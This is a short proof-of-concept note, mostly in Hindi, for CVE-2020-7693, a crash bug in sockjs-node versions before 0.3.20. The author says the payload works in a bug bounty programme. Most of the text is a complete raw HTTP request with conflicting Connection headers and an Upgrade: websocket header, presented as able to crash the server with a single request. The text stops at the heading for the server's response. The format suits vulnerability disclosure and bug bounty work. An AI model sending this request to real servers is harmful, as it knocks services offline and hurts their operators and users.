CVE-2020-7693

CVE-2020-7693 Poc

नोट: मैं पुष्टि करता हूँ कि CVE-2020-7693 के लिए पेलोड बग बाउंटी प्रोग्राम में चल सकता है

विवरण:

• Upgrade हेडर के websocket मान की गलत हैंडलिंग से sockjs ऐप्स होस्ट करने वाले कंटेनर क्रैश हो जाते हैं। यह sockjs पैकेज के 0.3.20 से पहले के संस्करणों को प्रभावित करता है।

एकल अनुरोध पुराने sockjs-node के माध्यम से सर्वर को क्रैश कर देता है:

• अनुरोध

GET /sockjs-node/000/ HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Connection: Upgrade
Upgrade: websocket
Cache-Control: no-cache
Connection: close
\r\n (delete-this)
\r\n (delete-this)

• प्रतिक्रिया

सर्वर में: